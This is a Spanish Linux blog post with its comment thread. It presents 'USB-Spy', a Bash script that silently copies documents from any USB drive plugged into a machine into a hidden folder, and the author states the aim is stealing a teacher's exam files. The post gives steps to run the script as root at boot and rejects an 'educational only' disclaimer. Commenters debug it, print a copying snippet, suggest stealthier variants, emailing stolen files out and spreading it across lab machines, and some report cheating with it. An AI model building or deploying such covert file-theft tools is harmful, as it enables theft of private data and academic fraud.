Script para espiar el contenido de dispositivos USB y copiarlo a la PC

Yo siempre fui un alumno inquieto, siempre deseando sacar partido de oportunidades como… por ejemplo, copiar los exámenes del semestre del pendrive del profesor o algo así. Cuando estudiaba en la enseñanza media (especialidad informática) deseé programar «algo» que hiciera lo siguiente:

  1. Detecte cuando se conecta un dispositivo USB en el ordenador de la clase
  2. Copie todo el contenido de ese dispositivo hacia el ordenador

Esto me permitiría tener el examen mucho tiempo antes, solo sería necesario que el profesor conectara su memoria USB (pendrive) en el ordenador y listo.

Desafortunadamente en mi instituto los ordenadores tenían Windows y … yo jamás y nunca aprendí a programar para este OS.

No obstante ahora uso Linux (obvio no? LOL!), y con los conocimientos que a lo largo de estos años he podido ir adquiriendo, ahora SÍ! ya puedo lograr esto con Linux 😀

O sea, he programado un simple script que hace lo siguiente:

1. Crea la carpeta /home/.USBDRIVES/
2. Está comprobando cada 5 segundos si hay algún dispositivo USB (o CD/DVD) conectado al ordenador.
3. En caso de que esté alguno conectado, creará una carpeta dentro de /home/.USBDRIVES/ con el nombre del USB (por ejemplo: memoria-2gb) y además, copiará todos los archivos .doc, .pdf, etc (aquí el listado) hacia esta carpeta que recién acaba de crear.
4. En caso de que no haya ningún USB conectado, simplemente esperará 5 segundos para volver a iniciar la comprobación que expliqué arriba 😀

Aquí les dejo el script y el archivo que contiene los formatos que se copiarán:

Descargar USB-Spy.zip
El script debe ser ejecutado como root para que su funcionamiento no se vea limitado. Acá explico cómo lograr esto

Para que el script pueda funcionar sin ningún tipo de problemas, lo mejor es que sea iniciado con privilegios administrativos (root), así como es obvio que se necesita que se inicie junto al ordenador, de esta forma nos aseguramos que si el ordenador es reiniciado o apagado, cuando vuelva a iniciar el script estará ahí funcionando, listo para extraer de cualquier USB lo que deseamos 😉

Vamos a abrir una terminal… una vez abierta…

1. Supongamos que tenemos ambos archivos en /opt/ (/opt/usb-spy.sh y /opt/usb-spy.files), debemos darle privilegios de ejecución:

sudo chmod +x /opt/usb-spy.sh

2. Abrimos el archivo /etc/rc.local :

sudo nano /etc/rc.local

3. En él escribimos arriba de la línea final (exit 0) lo siguiente:

/opt/usb-spy.sh &

4. Ahora presionamos [Ctrl]+[X] para guardar y salir del archivo, presionamos [S] o [Y] (en dependencia del idioma del sistema) y luego [Enter]. Esto bastará para que se guarden los cambios que hicimos.

Y listo, esto bastará para que el script se inicie como root cuando encendamos el ordenador.

Es importante verificar que el archivo usb-spy.files esté en el mismo directorio de usb-spy.sh 😉

Ahora… explicaré un poco el funcionamiento interno del script, pues sé que hay muchos amantes de Bash por acá 😀

Q: ¿Cómo el script sabe que hay un dispositivo USB conectado?
A: En el archivo /etc/mtab de nuestro sistema se encuentran los dispositivos o particiones que están montadas en nuesto sistema. Mediante la línea 23 del script se sabe si hay un USB conectado o no (haciendo cat al mtab y grep media)
Q: Sí, pero ¿cómo el script sabe si el cat y grep nos devuelve algún dato o no?
A: Mediante un ciclo if, then, else que empieza en la línea 24.
Q: ¿Cómo hacer que copie solamente los archivos con extensiones deseadas? (.doc, .pdf, etc)
A: Mediante rsync con varios parámetros, esto es en la línea 34. Explicado de forma simple, con rsync copio solamente los archivos que coincidan con el filtro usb-spy.files, cada línea es un filtro por así decirlo. Además le paso el parámetro --prune-empty-dirs a rsync para que no me cree directorios vacíos.
Por cierto algo importante. Si se conecta un dispositivo USB de 8GB (por ejemplo) todo funciona de forma correcta, pero me percaté que si se conecta algún dispositivo de mucha más capacidad, como 500GB o 1TB el proceso de buscar archivos .doc y etc para copiarlos al ordenador demoraba mucho tiempo, por lo que puse un límite de GB. O sea, en la línea 31 declaro que si el dispositivo USB es menor de 16GB, entonces busca los archivos y copialos, pero si es mayor de 16GB entonces no hagas nada. Si desean aumentar esos 16GB por 32GB, solo aumenten ese número de la línea 31

No hay mucho que explicar en realidad, el script es realmente simple de entender 🙂

Si alguien tiene cualquier duda o pregunta, queja, idea o sugerencia por favor, que lo diga y prometo ayudarles en todo cuanto pueda.

Y bueno, estaba pensando poner algo como: «este script solo es para propósitos educativos, no usar con files dañinos» … pero… qué demonios!, úsenlo para lo que deseen, es hora de que los estudiantes tengamos algún tipo de ventaja contra los profesores que nos oprimen 😀

Saludos

Aún se le pueden hacer múltiples mejoras al script, pero bueno esto es un buen inicio creo yo, si alguien se siente motivado a contribuir a esta «noble» causa será un placer 😀

93 comentarios, deja el tuyo

Deja tu comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*

*

  1. Responsable de los datos: Miguel Ángel Gatón
  2. Finalidad de los datos: Controlar el SPAM, gestión de comentarios.
  3. Legitimación: Tu consentimiento
  4. Comunicación de los datos: No se comunicarán los datos a terceros salvo por obligación legal.
  5. Almacenamiento de los datos: Base de datos alojada en Occentus Networks (UE)
  6. Derechos: En cualquier momento puedes limitar, recuperar y borrar tu información.

  1.   elav dijo

    Tramposo ¬¬

    XDDDD

    1.    KZKG^Gaara dijo

      Nah para nada … si seguro tú igual pensaste en algún momento hacer algo así … JAJAJA.

      1.    Ivan Molina dijo

        Me salvaste de un examen sorpresa 😀 … Ahora tu «KZKG^Gaara» Eres mi dios… Alabado seas!

    2.    Facundo dijo

      Holaa, muy buen script, pero en mega ya no existe el archivo, me lo podés pasar a mi correo, porfa

  2.   oscar dijo

    Linux es el 1% y dices que nunca aprendiste a programar para windows asi que el tuto es para un sistema linux, mi pregunta es: ¿que posibilidad hay en encontrar un profe que use linux para poder llevar a cabo el tuto?

    1.    KZKG^Gaara dijo

      Este script o truco se «implementa» en un ordenador que no necesariamente tiene que ser el personal o propio del profesor, basta con que sea un ordenador cualquiera de una Universidad o Colegio, luego solo quedaría lograr por X o Y motivo que el profesor conecte su USB en ese ordenador.

      Sí, es para Linux, pero muchas universidades tienen Linux como sistema en laboratorios de ordenadores, así como también se podría bootear con un LiveCD y no necesariamente instalar Linux en el PC 🙂

      Sobre lo del 1%, te recomiendo leer este post: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

    2.    Hyuuga_Neji dijo

      La posibilidad de que un Meteorito gigante caiga sobre el Atlantico en aproximadamente 30 min

  3.   Josh dijo

    Se ve interesante, habrá que probarlo.
    Gracias

    1.    KZKG^Gaara dijo

      La utilidad que tiene no es la gran cosa, pero el script como tal está interesante… pues se pueden aprender varios tips de él, por ejemplo el cómo saber los USB conectados, tamaño de particiones, etc 🙂

  4.   cr0t0 dijo

    Un artículo original y muy bien explicado KZKG^Gaara. Saludos!

    1.    KZKG^Gaara dijo

      Gracias 🙂

  5.   Oscar dijo

    Que desfachatez!!!, y te atreves a escribirlo en el blog O-O, no se que pensar, será que hackeron a Gaara algién que no lo quiere bien?

    1.    KZKG^Gaara dijo

      ¿desfachatez? ¿por qué?
      Si bien el propósito o motivo del script puede no resultar algo tan serio como el resto de mis aportes, el script, sus líneas y lógica de programación sí que tiene mucho que aportar pienso yo.

      De este script se pueden aprovechar varias cosas:
      1. El cómo saber el tamaño de una partición y que esto sea una variable.
      2. El cómo comprobar si existe un USB conectado y extraer su path y nombre.
      3. Ciclos if-then-else y while.

      En fin, que no creo que esto sea algo del todo useless o algo así.

      1.    Oscar dijo

        Creo que tu interpretas mal mi comentario, yo me refiero al inicio de tu articulo,
        «Yo siempre fui un alumno inquieto, siempre deseando sacar partido de oportunidades como… por ejemplo, copiar los exámenes del semestre del pendrive del profesor o algo así.». Si te molesto lo que exprese, espero me disculpes, no fue mi intención.

        1.    Blaire Pascal dijo

          o.O qué excelente blog, buenos artículos, buenos lectores, los usuarios se disculpan… es el paraíso jejeje libre de trolls.

          1.    KZKG^Gaara dijo

            Gracias ^-^
            Estamos orgullosos de lo que hemos logrado hasta ahora, esta comunidad es de veras un orgullo… es genial formar parte de todo esto 😀

        2.    KZKG^Gaara dijo

          No no no para nada, en realidad no me molesté ni mucho menos xD
          Y síp jeje fue mi error por malinterpretar tu comentario jejeje, sorry por eso 😉

          Nada que las disculpas vienen de mi parte ahora, tendré que lavarme la cara a ver si termino de despertarme que … por lo que veo, aún no ando al 100% JAJAJA.

          Saludos amigo 🙂

        3.    Oscar dijo

          Finísima persona xD

  6.   Neomito dijo

    Me gustaría q los ordenadores de mi facultad tengan Linux muhahahjaja.

  7.   GGGG1234 dijo

    Buen Articulo!
    Pero al que quiera imitarlo en Windows va a ser más fácil, porque a donde en la máquina que quieras usarlo no tengas acceso al root no podes dejarlo «para siempre». Con Windows eso no pasa 😉

  8.   Blaire Pascal dijo

    Muy bueno jeje.

  9.   Hyuuga_Neji dijo

    La idea es buena solo tiene la debilidad de tener que usar privilegios de Root

    1.    KZKG^Gaara dijo

      Bueno, en realidad no necesita ser root como tal … si se le declara al script que la carpeta NO será /home/.USBDRIVES como le puse yo, y se le pone por ejemplo: /home/usuario/.USBDRIVES … entonces ejecutando el script con «usuario» bastará 😀

  10.   Emilio dijo

    Es buena idea, pero creo que te ahorrarias modificar el rc.local y correrlo cada minuto mediante crontab, y así te evitas el problema de correrlo como root y lo demás, por otro lado, aunque no afecte mucho, consumes memoria de la pc inutilmente cada 5 segundos para verificar si esta la usb, aun cuando no esté. Bueno ese es mi punto de vista

    1.    KZKG^Gaara dijo

      O sea, hacer una comprobación cada 1 minuto no? No lo hice así porque… ¿y si se conecta y desconecta un USB en menos de 1 minuto? 😀

      Preferí hacerlo cada 5 segundos para asegurar de veras «capturar» todos los USB 😉

      Si te entendí mal, por favor corrígeme 🙂

      Saludos y bienvenido.

      1.    Emilio dijo

        Si, hacer la comprobación cada minuto a través de cron, pero bueno cada uno tiene una forma distinta de ver el problema, nada mas que viendo el codigo, no sería mejor verificar si ya existe la carpeta de /home/.USBDRIVES antes de crearla, es una sugerencia nada mas

        Saludos

        1.    KZKG^Gaara dijo

          Sí también, es un detalle del que me percaté pero… me dió vagancia solucionarlo LOL!

          Igual podría poner un log donde se muestren los archivos que se han copiado (log individual para cada dispositivo), tal vez inclusive enviar mediante email este log (usando algún método de enviar email por terminal de los que he puesto acá en el sitio) … pero como te dije, me da un poco de pereza ^-^U

  11.   Pavloco dijo

    Jajajaja genial.

  12.   hexborg dijo

    ¡Ajá! O sea que tu software puede ser usado para el mal. ¡Jajajaja!!! 🙂

    Está bien el truco, pero… ¿y si se quiere desmontar el USB antes de que el script termine de copiar su contenido? En ese caso se quejará de que está en uso y se notará que hay algo raro. 🙂

    1.    KZKG^Gaara dijo

      En realidad el sistema no permitirá que se desmonte el USB pues «algo» lo estará usando 😉

      1.    hexborg dijo

        ¡Exacto! Y entonces es cuando el profesor de Oscar piensa que ha encontrado un virus para linux. ¡Jajajaja!! 🙂

  13.   Oscar dijo

    Me hiciste recordar una vez que hice algo similar ( en mi Uni si teniamos linux/windows), pero yo hice un programa en C que generaba miles de carpetas. Le tapicé la USB a un chavo que la conectó. El encargado del centro de cómputo estaba asombrado! Creyó encontrar un virus en linuxx muajajajaja … ahhh .. que tiempos aquellos =)

    1.    miguel dijo

      y cual es la diferencia con un virus ?

      1.    Oscar dijo

        Que yo me metí remotamente a su USB y ejecuté el programa 😛

        1.    miguel dijo

          jajajajaj , entonces fue un hackeo XD

    2.    KZKG^Gaara dijo

      😀
      hehehehehe así que encontró un virus en Linux no? … LOL!!

  14.   Semproms dijo

    A mi no me acaba de funcionar xD, si lo intento ejecutar desde la terminal me dice esto: ./usb-spy.sh: line 31: [: -lt: unary operator expected
    Parece que hay algún problema con esta línea: if [ $USBSIZE -lt 15664800 ]; then
    Pero no sé cual es, porque no crea además el directorio .USB.

    Si se puede resolver puede resultarme un script útil.

    1.    hexborg dijo

      Prueba a reemplazar df por /bin/df y asegurate de lanzarlo como root.

      1.    Semproms dijo

        Vale, ahora si crea la el la carpeta .USB dentro de el directorio home, pero me sigue diciendo por la terminal que: «./usb-spy.sh: line 31: [: -lt: unary operator expected» y no copia nada, en esa línea tiene que haber algún conflicto, agradezco la ayuda si alguien lo ve.
        Muchas gracias.

        1.    hexborg dijo

          ¿Puedes ponernos el contenido de tu fichero /etc/mtab cuando el USB está montado?

          1.    Semproms dijo

            Claro, aquí va:

            /dev/sda12 / ext4 rw,errors=remount-ro 0 0
            proc /proc proc rw,noexec,nosuid,nodev 0 0
            sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0
            none /sys/fs/fuse/connections fusectl rw 0 0
            none /sys/kernel/debug debugfs rw 0 0
            none /sys/kernel/security securityfs rw 0 0
            udev /dev devtmpfs rw,mode=0755 0 0
            devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=0620 0 0
            tmpfs /run tmpfs rw,noexec,nosuid,size=10%,mode=0755 0 0
            none /run/lock tmpfs rw,noexec,nosuid,nodev,size=5242880 0 0
            none /run/shm tmpfs rw,nosuid,nodev 0 0
            binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,noexec,nosuid,nodev 0 0
            /dev/sdb1 /media/DOCU403 vfat rw,nosuid,nodev,uid=1000,gid=1000,shortname=m$

            Las últimas líneas son las del USB montado /dev/sdb1

          2.    hexborg dijo

            A ver si lo conseguimos. 🙂

            Ponnos la salida del comando df. Y prueba a añadir la linea:

            echo $USBSIZE

            Justo delante del if que dá el problema y dinos lo que sale al lanzar el script. Tiene que quedar algo como esto:

            USBSIZE=`/bin/df | grep $USBDEV | awk {‘print $2’}`
            echo $USBSIZE
            if [ $USBSIZE -lt 15664800 ]; then

            Y por si acaso, dinos también cuál es la salida del comando which df.

            1.    Semproms dijo

              Vale, por partes, el comando df me devuelve esto:

              Filesystem 1K-blocks Used Available Use% Mounted on
              /dev/sda12 54082300 45246956 6125892 89% /
              udev 2004028 4 2004024 1% /dev
              tmpfs 805768 1180 804588 1% /run
              none 5120 0 5120 0% /run/lock
              none 2014420 92 2014328 1% /run/shm
              /dev/sdb1 1023200 322256 700944 32%/media/DOCU 3

              El comando which df me devuelve: /bin/df

              Luego, he puesto lo de echo $USBSIZE, y el resultado es el mismo, no me imprime nada nuevo, sino el error de antes, lo curioso es que eso ocurre con el USB que estoy probando, si pongo el disco duro externo de 500GB si que me devuelve por pantalla el tamaño del disco, pero los 500 exceden a los 16 del if por tanto con el disco duro no hace nada.

              Pero con el USB no hace nada, más que mostrar el error: ./usb-spy.sh: line 34: [: -lt: unary operator expected
              Es como si no pudiera mostrar el tamaño del USB, pero con el comando df si que me sale su tamaño.

              Gracias por la ayuda, a ver si lo podemos conseguir!!.


            2.    Semproms dijo

              Por si acaso lo del comando no se viera bien aquí dejo un pantallazo: http://i48.tinypic.com/j5dvn5.jpg


          3.    hexborg dijo

            Veo que en el mtab la ruta en la que aparece montado es «/media/DOCU403» mientras que en df aparece «/media/DOCU 3». Esto hace que grep no lo encuentre y no devuelva el tamaño. Prueba a cambiar las primeras lineas del for de manera que queden así:

            for USBD in `cat /etc/mtab | grep media | awk ‘{print $1}’` ;
            do
            USBDEV=`cat /etc/mtab | grep $USBD | awk ‘{print $2}’`
            USBSIZE=`/bin/df | grep $USBD | awk {‘print $2’}`

            Los cambios consisten en cambiar el nombre de la variable del for por USBD, cambiar el $2 del final de la linea del for por $1, insertar la linea que empieza por USBDEV justo después del do y cambiar USBDEV por USBD en la linea que empieza por USBSIZE… espero no haberme liado. 🙂

            La idea es hacer el for por el nombre del dispositivo en vez de por el punto de montaje.

            1.    KZKG^Gaara dijo

              El problema era que en el mtab cuando un dispositivo tiene espacios… pone unos caracteres «extraños» en la línea, específicamente en el lugar del espacio.

              Nada, tan simple de solucionar como cambiar la forma en que se designa $USBDEV, en la línea 28 cambiarla y ponerla así:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              😀


          4.    Atheyus dijo

            Déjeme ver si los puedo ayudar…

            El operador unario lo muestra porque no localiza el tamaño del disco,esto pasa porque no lo checa,esto pasa porque se llama

            DOCU 3

            y lo toma como dos valores,si fuera DOCU no abría problema

            Tal vez les funcione esto

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            Un Saludo 🙂

            1.    Semproms dijo

              Efectivamente ese es el problema, porque acabo de probar con otros USB que tienen un nombre con una palabra sin espacios, ejemplo «clases» y el script funciona sin problemas, por eso reconocía el disco duro y no las memorias, pero ahora la cosa está en saber como pongo yo las comillas en el código del script, ¿se las tengo que poner a «$USBNAME»?.

              Muchas gracias a Atheyus y a Hexborg por la ayuda, ya casi está conseguido.


          5.    KZKG^Gaara dijo

            En realidad Semproms es super simple de arreglar 😉
            La línea 28 … cámbiala por esta:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            Acabo de hacer la prueba con este cambio y funciona bien con dispositivos cuyo label/nombre tenga un espacio 😉

            Ahora haré el cambio en el script para descargar.

          6.    hexborg dijo

            Muy bueno. Así sí que es sencillo de arreglar. 🙂

  15.   AurosZx dijo

    Ohhh, muy ingenioso 😀 Tomaré nota por si me llega a hacer falta…

  16.   Semproms dijo

    KZKG^Gaara, con ese arreglo funciona perfectamente, ahora si que copia de los USB con espacio en el nombre, muchas gracias a todos por la ayuda, voy a probar a ver si puedo hacer que se ejecute con el arranque del sistema y que así que vaya comprobando a cada ciclo si hay algún USB conectado.

    Al final lo hemos conseguido xD.

    1.    KZKG^Gaara dijo

      ^-^ … un gusto jeje.
      El problema era que yo usaba mtab para reconocer los USB pudiendo haber usado simplemente df … usé mtab porque pensé que sería interesante explicarles este archivo, que lo conocieran, pero no preví que sucedería este error con dispositivos con espacios jejeje.

      Cualquier duda o problema lo dejas dicho, a casi todos por acá nos gusta ayudar xD

      Saludos

    2.    hexborg dijo

      Por supuesto. Somos linuxeros. Siempre lo conseguimos. XD.

  17.   Yeretik dijo

    Instalarle un demonio a la PC del profesor que genere un registro de todos los .doc, .docx, .odt, .pdf y te los mande por mail. Así como que escanee la PC cada cierto tiempo en busca de cambios, nuevos ficheros o eliminaciones en dicho regsitro, y anet cualquier novedad te envíe el fichero modificado o nuevo por mail también.

  18.   Yeretik dijo

    Igual, creo que más que una pillada, ejecutar ese script (Y COMO ROOT !!!!) es un suicidio. Le estás facilitando la vida y las cosas en un 700% a cualquiera interesado en insertar un fichero en tu PC con permisos de root y todo. Acuérdate que en Linux no existen las extensiones y que un .doc en linux puede ser lo mismo un texto, que un video o peor aún, un script (esta vez con muy malas intenciones).

    1.    KZKG^Gaara dijo

      Ejecutarlo como root no es completamente necesario, basta con definir la carpeta donde se pondrá el contenido en algún lugar que el usuario que ejecuta tenga permisos de escritura (por ejemplo, su propio home) y listo 🙂

      Sobre lo archivos peligrosos … bueno, se podría agregar unas líneas que le harían un chmod -x a todos los archivos, así perderían la propiedad de ejecución.

      1.    Semproms dijo

        He añadido estas líneas al inicio para que borre la carpeta .USBDRIVES en el caso de que ya estuviera creada:

        if [ -s $PLACE ]
        then rm -r $PLACE
        fi

        así no dará el error de «directorio ya existente», eso si hay que tener cuidado de que en la carpeta .USBDRIVES no haya nada que no queramos que se borre, porque la va a borrar y poner otra en su lugar.

  19.   Daniel dijo

    Para agregar nuevos formatos de archivo, basta con escribirlos en usb-spy? por ejemplo .jpg .mp3 etc.

    1.    KZKG^Gaara dijo

      Para agregar tipos de archivo nuevo lo pones en el usb-spy.files
      Mira el contenido del archivo y verás cómo agregarlos, es bastante simple 😉

  20.   Wuilmer Bolivar dijo

    Si estamos en la misma red, y existe una maquina del profesor, lo interesante seria hacer un mapeo de red, puede que tengamos ssh en las maquinas y de esa manera distribuir el código en las maquinas del laboratorio o incluso en la maquina del profesor…. Esto me da taaantas ideas :$

  21.   xiler dijo

    Hola , te felicito por el post y todos tus aportes , pero tengo una consulta , a ver si alguien me puede solucionar este problema:

    Estube probando tu script en una pc con ubuntu 12.04LTS ( con Unity) y funciono perfecto , pero como veia que se ejaba de ejecutar el este script luego de la primera vez que esra ejecutado , debido a que ya estaba creada la carpeta .USBDRIVES , decidi usar directamente el este otro script de tu autoria que estaba posteado en otra parte de este foro

    aca copio el script para que te ubiques

    #!/bin/bash
    #
    # -*- ENCODING: UTF-8 -*-
    # Este programa es software libre. Puede redistribuirlo y/o
    # modificarlo bajo los términos de la Licencia Pública General
    # de GNU según es publicada por la Free Software Foundation,
    # bien de la versi’n 2 de dicha Licencia o bien (según su
    # elección) de cualquier versión posterior.
    #
    # Si usted hace alguna modificación en esta aplicación,
    # deberá siempre mencionar al autor original de la misma.
    #
    # Copyleft 2012, DesdeLinux.net {Ciudad Habana, Cuba}.
    # Autor: KZKG^Gaara

    WHILE=0

    while [ $CONTROL=0 ] ; do
    cat /etc/mtab | grep media >> /dev/null
    if [ $? -ne 0 ]; then
    CONTADOR=0
    else
    CONTADOR=1
    : ${USBDEV:=`cat /etc/mtab | grep media | awk ‘{print $2}’`»/»}
    cp $USBDEV/* /home/
    fi
    sleep 5
    done

    exit 0

    El tema es el siguiente en ubuntu12.04 lts unity ese ultimo scritp corre bien y funciona pero al hacerle un downgrade a la misma pc por «x» motivo ,y tratar de hacerlo funcionar en ubuntu 10.10 no ,lo puedo hacer funcionar
    por un lado me tira error y no me lee los pendrives que tienen nombre compuesto por ej : DATA-G , ni tampoco me copia los archivos que tienen nombre compuesto . A parte de este problema tengo el problema que solo se ejecuta el script al reiniciarla la pc una sola ves .

    La pregunta seria : como puedo hacer que ese script me copie pendrives y archivos con nombre compuesto
    y si usando crontab o puedo programar para que funcione en un determinado momento

    Otro detalle , en ubuntu 10.10 , como usa Gnome quisiera agregar algunas acotaciones para tengan en cuenta , al darle privilegios de ejecucion a un script , este debe estar ubicado en /etc/init.d no en /etc/
    (tener en cuenta que hay que pegarlo ahi llegando desde terminal con sudo nautilus)

    por otro lado otra acotacion seria que luego de pegarlo ahi para saber si se puede ejecutar hay que hacer en otro terminal

    sudo su ( para ser root)
    password

    ls

    cd /etc/ init.d

    ls -l

    y ahi nos salta si esta en ejecucion o no

    luego en el mismo terminal o en otro terminal en otro momento estando como root y estando en etc/init.d(osea hasta el paso cd/etc/init.d) como en el anterio terminal seguimos de la siguiente forma para darle permisos de ejecucion

    sudo chmod +x script.sh

    update -rc.d script.sh defaults 80

    reboot

    repito eso es para que se autoejecute en ubuntu 10.10 si es otra version como la 12.04 hay que hacer lo que dice KZKG^Gaara

    Y una ultima pregunta como me interesa que se copie el contenido ( hasta de3 subcarpetas del pendrive) al home o a una carpeta en el home oculta o no , supongamos que fuera .USBDRIVES
    en el codigo no tendria que decir

    cp -r /media/*/*/*/home/.USBDRIVES/*

    En definitiva para conseguir lo que quiero como tendria que quedarme el script ?
    porque ya intente modificar la linea que le modificaron al usb-spy sh pero a ese otro que graba directamente en home y me tira erro en la linea modificada .? Saludos . Gracias

  22.   Kakashi dijo

    yo no puedo bajar el segundo script

  23.   metalus dijo

    Muy bueno. 😉

  24.   Kamaleon dijo

    ¿Y si no hago los pasos que pones que pasa? ¿No se ejecuta o simplemente se ejecuta pero sin root? ¿Si los ordenadores tienen un sistema que digamos restaura toda la configuración interna del ordenador al apagarlo funcionará? Gracias.

    1.    KZKG^Gaara dijo

      En el caso de que el sistema tenga ‘algo’ que vuelva a poner por default la carpeta /home/ entonces debes modificar el script, donde dice /home/ cambiarlo por /opt/ o alguna otra carpeta que no se vea afectada.

  25.   gambi dijo

    Creo que para mejorar el script y evitar que se note la intromisión en el pendrive lo óptimo consitiría en que se priorice tipo, tamaño del archivo. Por ejemplo dejar para el final archivos voluminosos de 100 megas o más. O primero copiar archivos doc, docx, txt, pdf, xml,… etc etc etc y dejar para el final archivos avi, mp4, mkv…

  26.   lucas dijo

    Hola, esta buena la idea. quería hacer dos preguntas:
    – Se puede hacer a la inversa? hacer un scrip para el penderiver, que este se conecte en cualquier maquina y extraiga archivos.
    – sirve para SO Windows?

    1.    KZKG^Gaara dijo

      Hola,

      No estoy seguro de cómo se podría hacer que al conectar el pendrive, el mismo pendrive auto-ejecute un script que tenga dentro.

      Y no, este script no sirve para Windows 🙂

      1.    LUCAS dijo

        Ok, gracias por responderme.voy a investigar como hacerlo

  27.   Jose Damian Bazaga Ruiz dijo

    Que buen script. He estado analizandolo, y me parece una pasada, ojala algun dia yo tambien pudiera hacer scripts tan practicos asi.

  28.   jose dijo

    Excelente aporte, aunque la utilidad que le dare no es exactamente para lo que lo planteaste, si lo uso para respaldos de archivos de un grupo de usuarios mala conducta que tengo… jejejeje….

  29.   enbudle dijo

    cuando yo lo intento correr me da este error línea 31: [: demasiados argumentos
    elimine esa linea para ver si funcionaba. y resulta que es la linea que restringe el tamaño de los dispositivos.
    al quitarlo copia lo que tengo en mis particiones montadas 🙁

  30.   Valente dijo

    Holaa soy nuevo y se que es viejo el pots pero me gusto mucho es muy educativo tu script

    Gracias por comartirlo y explicarlo detalladamente…

    Saludo

  31.   doltrox dijo

    amigo me as salvado solo basto distraer al profe e introducir el usb a mi portatil y luego jajajaaj examen pasado y notas de todos jejejje

    1.    Oetam222 dijo

      Me podróas pasar el script el enlace está caido

    2.    Oetam222 dijo

      Me puedes pasar el script el enlace está caido

  32.   Gusanito2D2 dijo

    kzkggaara, ¿podrias resubir los archivos? los links están caidos :/, muchas gracias

  33.   bastian dijo

    pueder serubir links porfa??

  34.   Necr0 dijo

    oye! tio! tienes los ensalces caídos podrías subirlos de nuevo!
    vale! :v

  35.   Necr0 dijo

    bueno, hago esto de nuevo porque no se si se subio lo que queria decir….

    bien se trata de que tienes los enlaces caidos puedes subirlos!

  36.   Rlorau dijo

    Los enlaces estan caidos!!!

  37.   Developer24 dijo

    Resube los links por favor @usemoslinux estoy investigando acerca del tema, gracias!

  38.   Anónimo dijo

    El script se puede bajar de aqui. Creo que es elmismo

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

  39.   Juan dijo

    Bueno pues….

    Opino desde mi humilde punto de vista que es un gran articulo y pues si existen personas que dicen que eres tramposo pues yo opino que es segun el proposito para el que uses el programa.
    A mi personalmente me gusto más por conocer el lenguaje de programación para linux puesto que solamente he trabajado en java, gracias compañero me has despetado el interes por conocer mas del lenguaje para linux.

    Te agradezco.

  40.   Hecorat dijo

    Hola amigos pues yo encontre otra fomra de usar este scrip es es haciendo backup, les platico un poco yo tengo dos dispositivos una camara y un hdd lo que yo quiero es que en ves que grabe los archivos los archivos locales los guarde un un hdd externo desde la camara hasta el hddpero me da un error que dice «too many arguments» me podrian ayudar

  41.   LUIS GERARDO POLANCO VERA dijo

    Solo funciona con dispositivos con sistemas operativos linux?

  42.   Probando dijo

    Que alguien lo resuba, por favor!

  43.   Gazlene dijo

    Hola, no tengo linux y en mi escuela usan Windows, use la app a de usb capture y copio solo 5 archivos de la memoria del profe, sospecho q tiene protección esa usb, por que en dos ocasiones sucedió lo mismo, habrá alguna otra forma de sustraer la informacion completa de esa usb?

  44.   Zaraki dijo

    Vaya si bien dices será sencillo el código, pues parece muy interesante el ver funcionar los métodos para ver si está conectado un USB o el tamaño de la partición. Lastima que han removido el script de mega.nz, podrías subirlo de nuevo?.

    Saludos y gran trabajo, simple pero funcional incluso para automatizar copias desde USB!!!

  45.   Breaks dijo

    Buenas!
    Acabo de entrar a tu artículo del blog, y realmente estoy interesado. Lo que pasa es que al darle al archivo .zip que te redirige a mega pone que el archivo ya no está disponible.
    Me preguntaba si me podrías mandar esos archivos que se supone que hay que descargar.
    Muchas gracias y saludos!

  46.   Alfredo Pereira dijo

    La tecnología tiene la costumbre de reducir su tamaño a medida que pasan los años. Y eso ha sucedido en un grado increíble con las unidades de estado sólido (SSD). Ahora puede obtenerlos en el mismo tamaño que las unidades flash USB más rápidas.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/

  47.   a dijo

    ¿Me puedes mandar el archivo o volverlo a subir? Sale que no se puede descargar